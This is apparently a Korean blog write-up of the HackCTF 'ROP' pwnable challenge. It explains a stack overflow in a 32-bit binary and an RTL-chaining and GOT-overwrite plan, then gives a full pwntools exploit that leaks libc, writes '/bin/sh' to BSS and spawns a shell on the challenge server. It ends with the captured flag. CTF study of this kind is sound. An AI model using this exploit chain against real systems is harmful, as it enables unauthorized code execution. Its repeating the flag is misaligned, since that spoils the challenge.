WriteUp/HackCTF

Pwnable : ROP

vared 2020. 9. 3. 21:49

nc ctf.j0n9hyun.xyz 3021

 

Return Oriented Programming 이다.

RTL chaining GOT overwrite 이용해서 해보도록 하자.

일단 main 문은 상당히 심플하다.

	int __cdecl main(int argc, const char **argv, const char **envp)
	{
	  vulnerable_function();
	  write(1, "Hello, World!\n", 0xEu);
	  return 0;
	}

vulnerable_function() 볼까?

	ssize_t vulnerable_function()
	{
	  char buf; // [esp+0h] [ebp-88h]
	
	  return read(0, &buf, 0x100u);
	}

 

일단 read write 둘다 보이는 것을 보아 ROP 하기에는 충분 같다.

이제 GDB 어떤 보안옵션이 있는지를 보자.

libc에는 ASLR 이 걸려있다. ROP 하면서 우회할 수 있으니까 해결해 보도록 하자.

일단 함수 주소같은걸 빼볼까?

read write 빼놔야 할거같다.

 

 

write_plt : 0x8048340

write_got : 0x804a018

read_plt : 0x8048310

read_got : 0x804a00c

BSS : 0x804a024

system : 0xf7e1dd80

/bin/sh 주소도 찾아주고

 

 

대충 필요한 함수들은 찾은거 같으니까 write 함수랑 read 함수를 보자.

 

write(fd, 문구 , 길이)

read(fd, 버퍼 , 크기)

함수가 인자가 3 이므로 pppr 가젯을 가져오면 되겠다.

pppr gadget : 0x8048509

 

 

"/bin/sh" BSS영역에 구할거니까. BSS영역의 주소도 구해보자.

BSS  = 0x804a024

전체적인 시나리오를 적어보자.

  1. Write 함수를 이용해서 Read 함수의 실제 주소 Leak.
  2. Leak 주소 - read_sys_offset = system 실제 주소 Get.
  3. BSS 영역에 "/bin/sh" 쓰기.
  4. Read 함수 이용해서 Write GOT System 실제 주소 적기.
  5. Write plt 실행.

 여기서 read 함순데 어떻게 어딘가에 작성하는가 라는 의문점이 들었다.

 read 함수의 인자는 fd, buf, size 이다.

 예를 들어서 BSS 영역에 /bin/sh 쓴다고 함수는 이렇게 생긴다.

read(0,bss,8) => stdin에서 8 만큼 읽어서 BSS 저장하겠다. 이런 뜻이다.

약간 생각이 꼬였었던거 같다. 지금 생각해보면 엄청 당연한건데….


이렇게 넣어주면 우리 시나리오 대로 실행될 수 있다. RTL_Chaining 하고 GOT_Overwrite 를 잘 활용하면 된다.

payload  = buffer(136)+SFP(4) + write_plt + pppr + 1 + read_got + 4 + read_plt + pppr + 0 + bss_addr + 8 + read_plt + pppr + 0 + write_got + 4 + write_plt + dummy(4) +  bss_addr

 

맞게 했는데 주소 하나 오타난 때문에 2시간을 날렸다.

주소 같은거 실수할 바에 pwntools 있는 기능을 쓰도록 하자.

	from pwn import *
	
	#context.log_level = "debug"
	
	#p = process('./rop')
	p = remote('ctf.j0n9hyun.xyz',3021)
	e = ELF('./rop')
	libc = ELF('./libc.so.6')
	
	##########variable#############
	read_offset = libc.symbols['read']
	sys_offset = libc.symbols['system']
	bss = 0x804a024
	write_plt = 0x8048340
	#write_plt = e.plt['write']
	write_got = 0x804a018
	#write_got = e.got['write']
	read_plt = 0x8048310
	#read_plt = e.plt['read']
	read_got = 0x804a00c
	#read_got = e.got['read']
	pppr = 0x8048509
	##############################
	
	pay = "A"*136
	pay += "B"*4
	# Get read's real address
	pay += p32(write_plt)
	pay += p32(pppr)
	pay += p32(1)
	pay += p32(read_got)
	pay += p32(4)
	# write "/bin/sh" on BSS
	pay += p32(read_plt)
	pay += p32(pppr)
	pay += p32(0)
	pay += p32(bss)
	pay += p32(8)
	# Write system address on write_GOT
	pay += p32(read_plt)
	pay += p32(pppr)
	pay += p32(0)
	pay += p32(write_got)
	pay += p32(4)
	#Call write_plt -> execute system("/bin/sh")
	pay += p32(write_plt)
	pay += "A"*4
	pay += p32(bss)
	 
	p.sendline(pay)
	
	read_addr = u32(p.recv(4))
	
	print("Read's Real Address is : "+str(hex(read_addr)))
	
	libc_base = read_addr - read_offset
	sys_addr = libc_base + sys_offset
	
	print("System Address is : "+str(hex(sys_addr)))
	p.send("/bin/sh\x00")
	print("Successfully Wrote 'bin/sh' on BSS")
	p.send(p32(sys_addr))
	print("Successfully Wrote sys_addr on write_GOT")
	
	p.interactive()

 

HackCTF{4bcd3fg7ijPlmA4pqrtuvxza2cdef}